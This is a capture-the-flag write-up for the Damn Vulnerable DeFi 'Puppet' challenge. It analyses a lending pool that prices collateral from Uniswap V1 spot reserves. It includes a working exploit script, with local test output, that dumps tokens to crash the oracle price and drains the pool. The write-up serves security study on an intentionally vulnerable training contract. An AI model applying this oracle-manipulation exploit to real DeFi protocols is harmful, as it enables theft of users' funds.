Damn Vulnerable DeFi Wargame Challenge8 — Puppet Contract Analysis 🐦
Wargame Provider: @tinchoabbate
Challenge #8 - Puppet
There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
Code Audit
Transaction Flow
Dependency Pattern
UniswapV1Exchange
UniswapV1Factory
- It can be confirmed that the CAMM model liquidity pool exchange method is used based on the uniswap protocol v1.
Setup flow
**Calculate ETH ↔ ERC20 Pair Input Price (**Buy Amount (Sell Order))
- In the case of a sales order (correct input), the purchase amount (output) is calculated as follows.
function calculateTokenToEthInputPrice(tokensSold, tokensInReserve, etherInReserve) {
return tokensSold.mul(ethers.BigNumber.from('997')).mul(etherInReserve).div(
(tokensInReserve.mul(ethers.BigNumber.from('1000')).add(tokensSold.mul(ethers.BigNumber.from('997'))))
)
}
- Uniswap has a separate exchange contract for each ERC20 token.
- This exchange holds both ETH and related ERC20. Users can trade on the reserve at any time. Reserves are pooled between a decentralized network of liquidity providers that collect fees for every transaction.
- The price is done automatically according to the
x * y = k
market-making formula, and the price is automatically adjusted according to the relative size of the two reserves and the size of the incoming trade. - As all tokens share ETH as a common pair, they are used as intermediary assets for direct transactions between all ERC20 ⇄ ERC20 pairs.
- The parameters required to determine the price when trading ETH and ERC20 tokens are as follows.
1. ETH reserve size of the ERC20 exchange
2. ERC20 reserve size of the ERC20 exchange
3. Amount sold (input) or amount bought (output)
State Variable (ERC20, ETH Balance setup)
// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
const UNISWAP_INITIAL_TOKEN_RESERVE = 10 ether
const UNISWAP_INITIAL_ETH_RESERVE = 10 ether
const ATTACKER_INITIAL_TOKEN_BALANCE = 1000 ether
const ATTACKER_INITIAL_ETH_BALANCE = 25 ether
const POOL_INITIAL_TOKEN_BALANCE = 100000 ether
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x15af1d78b58c40000", // 25 ETH
]);
expect(
await ethers.provider.getBalance(attacker.address)
).to.equal(ATTACKER_INITIAL_ETH_BALANCE);
- Proceed with sending the value to the attacker’s address on the hardhat local chain according to the first specified amount.
Contract or Account Deploy (deployer, attacker)
<deployer account>
- UniswapV1Exchange
- UniswapV1Factory
- DamnValuableToken
- PuppetPool
- The deployer deploys the four contracts and allocates each initial instance.
this.token = await DamnValuableTokenFactory.deploy();
this.exchangeTemplate = await UniswapExchangeFactory.deploy();
this.uniswapFactory = await UniswapFactoryFactory.deploy();
await this.uniswapFactory.initializeFactory(this.exchangeTemplate.address);
- It is used to exchange within the uniswap protocol, and based on the exchange contracta to be used in the uniswap factory contract, the instance work in the
initializeFactory
contract is carried out.
let tx = await this.uniswapFactory.createExchange(this.token.address, { gasLimit: 1e6 });
const { events } = await tx.wait();
this.uniswapExchange = await UniswapExchangeFactory.attach(events[0].args.exchange);
this.lendingPool = await PuppetPoolFactory.deploy(
this.token.address,
this.uniswapExchange.address
);
await this.token.approve(
this.uniswapExchange.address,
UNISWAP_INITIAL_TOKEN_RESERVE
);
await this.uniswapExchange.addLiquidity(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_ETH_RESERVE, gasLimit: 1e6 }
);
- Create a
new exchange
for the token and connect the distributedexchange
address with the contract to complete the instance work. - Since the function is implemented using the Uniswap protocol while distributing a custom
PuppetPool
Contract, a token and a uniswapExchange Contract address are assigned during the initial constructor work. - After setting access to the corresponding
uniswapExchange
contract based on 10 ether, add liquidity pool.
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
- The liquidity pool pattern is implemented based on the uniswapV1Exchange specification, and the specification criteria simply set the minimum liquidity, ERC 20 maximum token value, and liquidity transaction deadline as follows.
- For things like deadlines, many Uniswap features include transaction deadlines, which set a time at which transactions can no longer be executed. It is used because it restricts miners from holding signed transactions for long periods of time and executing them according to market movements, and also reduces uncertainty about transactions that take longer to execute due to gas price issues.
Liquidity pool exchange and calculation test work
expect(
await this.uniswapExchange.getTokenToEthInputPrice(
ethers.utils.parseEther('1'),
{ gasLimit: 1e6 }
)
).to.be.eq(
calculateTokenToEthInputPrice(
ethers.utils.parseEther('1'),
UNISWAP_INITIAL_TOKEN_RESERVE,
UNISWAP_INITIAL_ETH_RESERVE
)
);
- Work to check whether exchange between pair tokens is successful within the distributed liquidity pool
- After checking the quantity of tokens to be sold based on the
getTokenToEthInputPrice
method, the returned data, the amount of ETH that can be purchased, must match the value calculated based on thecalculateTokenToEthInputPrice
method implemented arbitrarily.
Token transfer process
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.token.transfer(this.lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);
- Allocating the balance of the tokens presented at the beginning,
PuppetPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";
/**
* @title PuppetPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetPool is ReentrancyGuard {
using Address for address payable;
mapping(address => uint256) public deposits;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);
constructor (address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}
// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
}
State Variable && Event
using Address for address payable;
mapping(address => uint256) public deposits;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);
- Manage liquidity pool deposits for each user based on the
deposits
mapping structure - Dependency contract instance assignment, variable declaration and constantization work
- When the
Borrowed
function is called, theaddress indexed account, uint256 depositRequired, uint256 borrowAmount
data event query progress work performed in the internal logic
Functions
constructor
constructor (address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}
- Constructor instance operation ERC20 token contract and uniswap V1 protocol processing
_computeOraclePrice
function _computeOraclePrice() private view returns (uint256) {
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
- Calculate the token price in wei according to the Uniswap Pair.
- Calculate DVT-ETH token price with Uniswap V1 Exchange operation.
calculateDepositRequired
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
- Introduce this formula to divide the quarter for the deposit request to calculate the liquidity pool.
- Depending on the
amoun
factor, the value changes, and you can see that the Oracle price and double the value are unconditionally calculated.
borrow
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
- You can borrow the ‘borrowAmount’ of the token by first depositing double its value in ETH.
✅ If the pool does not have enough liquidity tokens, it will fail.
- If the balance of the user who made the current contract call is greater through the
depositRequired
check expression, themsg.value - depositRequired
value is transferred to themsg.sender
. Based on this, it can be inferred that the value of the user’s transaction Ether is much more than the value to be borrowed, so it is an operation to return the remaining value. - Update the deposits mapping data structure by assigning the calculated
depositRequired
value at this time.
✅ After sending the value as much as borrowAmount
to msg.sender
, event processing proceeds
Vulnerability
- In
computeOraclePrice()
, the pool calculates the ETH-DVT ratio and checks the current exchange rate value. However, when performing the actual oracle price calculation, it can be seen that it is possible to purchase ETH in bulk from the pool to significantly lower the ratio of the loanable DVT token price. - The attacker’s goal is to steal all DVT tokens from the pool, and to borrow 100,000 DVT, he has to deposit double ETH as collateral under normal circumstances, and the attacker only has 25 ETH.
- If you need to return 1 from
_computeOraclePrice
when you deposit double ETH, this is only applicable whenuniswapPair.balance
andtoken.balanceOf(uniswapPair)
are 1:1. By default, the current pool has 10 ETH and 10 DVT, so it unconditionally returns 1 - However, attackers can manipulate the Oracle Price calculation using flaws. If the exchange’s ETH Balance (uniswapPair.balance) is 0, the result of the calculation of
uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair)
will be 0 or a very small number. - In order to carry out this attack, the attacker must lower the ETH balance of Exchange Balance to a small number by exchanging his DVT token for ETH.
- In the state of converging to 0, all DVT tokens in the pool can be acquired based on the
borrow
function.
Solve
it('Exploit', async function () {
const fromWei = (x) => web3.utils.fromWei(x);
const _curInfo = async (status) => {
console.log("\n" + status + "\n");
console.log("[+] Oracle Calc Deposit Required")
let _oracle = (await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther("1")))
console.log(fromWei(_oracle._hex))
console.log("[+] Attacker ETH-DVT Pair Balance")
let attacker_eth = await ethers.provider.getBalance(attacker.address);
let attacker_dtv = await this.token.balanceOf(attacker.address);
console.log(fromWei(attacker_eth._hex)); // attacker ETH
console.log(fromWei(attacker_dtv._hex)); // attacker DVT
console.log("[+] LendingPool ETH-DVT Pair Balance");
let pool_eth = await ethers.provider.getBalance(this.lendingPool.address);
let pool_dtv = await this.token.balanceOf(this.lendingPool.address);
console.log(fromWei(pool_eth._hex)); // lendingPool ETH
console.log(fromWei(pool_dtv._hex)); // lendingPool DVT
console.log("[+] Uniswap Exchange ETH-DVT Pair Balance");
let exchange_eth = await ethers.provider.getBalance(this.uniswapExchange.address);
let exchange_dtv = await this.token.balanceOf(this.uniswapExchange.address);
console.log(fromWei(exchange_eth._hex)); // exchange ETH
console.log(fromWei(exchange_dtv._hex)); // exchange DVT
}
/** CODE YOUR EXPLOIT HERE */
_curInfo("Initial");
await this.token.connect(attacker).approve(
this.uniswapExchange.address,
ethers.utils.parseEther("990")
);
await this.uniswapExchange.connect(attacker).tokenToEthTransferInput(
ethers.utils.parseEther("990"), // tokens_sold
ethers.utils.parseEther("1"), // min_eth
(await ethers.provider.getBlock('latest')).timestamp * 2, attacker.address // deadline
);
let _oraclePrice = ethers.BigNumber.from(
await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther("1"))
);
let muOraclePrice = _oraclePrice.mul(100000).add(1);
await this.lendingPool.connect(attacker).borrow(ethers.utils.parseEther("100000"), { value: muOraclePrice });
_curInfo("After exploit");
});
yarn run v1.22.19
$ yarn hardhat test test/puppet/puppet.challenge.js
$ /Users/zer0luck/ctf/wargame/blockchain/defi-wargame/node_modules/.bin/hardhat test test/puppet/puppet.challenge.js
(node:27635) [DEP0147] DeprecationWarning: In future versions of Node.js, fs.rmdir(path, { recursive: true }) will be removed. Use fs.rm(path, { recursive: true }) instead
(Use `node --trace-deprecation ...` to show where the warning was created)
[Challenge] Puppet
Initial
[+] Oracle Calc Deposit Required
2
[+] Attacker ETH-DVT Pair Balance
24.999941720374401652
1000
[+] LendingPool ETH-DVT Pair Balance
0
100000
[+] Uniswap Exchange ETH-DVT Pair Balance
0.100297884717611306
1000
After exploit
[+] Oracle Calc Deposit Required
✓ Exploit (50ms)
0.000200595769435222
[+] Attacker ETH-DVT Pair Balance
14.839905722874661761
100010
[+] LendingPool ETH-DVT Pair Balance
20.0595769435222
0
[+] Uniswap Exchange ETH-DVT Pair Balance
0.100297884717611306
1000
1 passing (606ms)
✨ Done in 3.00s.
next time.. 🚀
I will continue to post auditing and research on 12 challenge defi Smart Contracts.
Thank you for the @tinchoabbate that made a good wargame. Damn Vunlerable Defi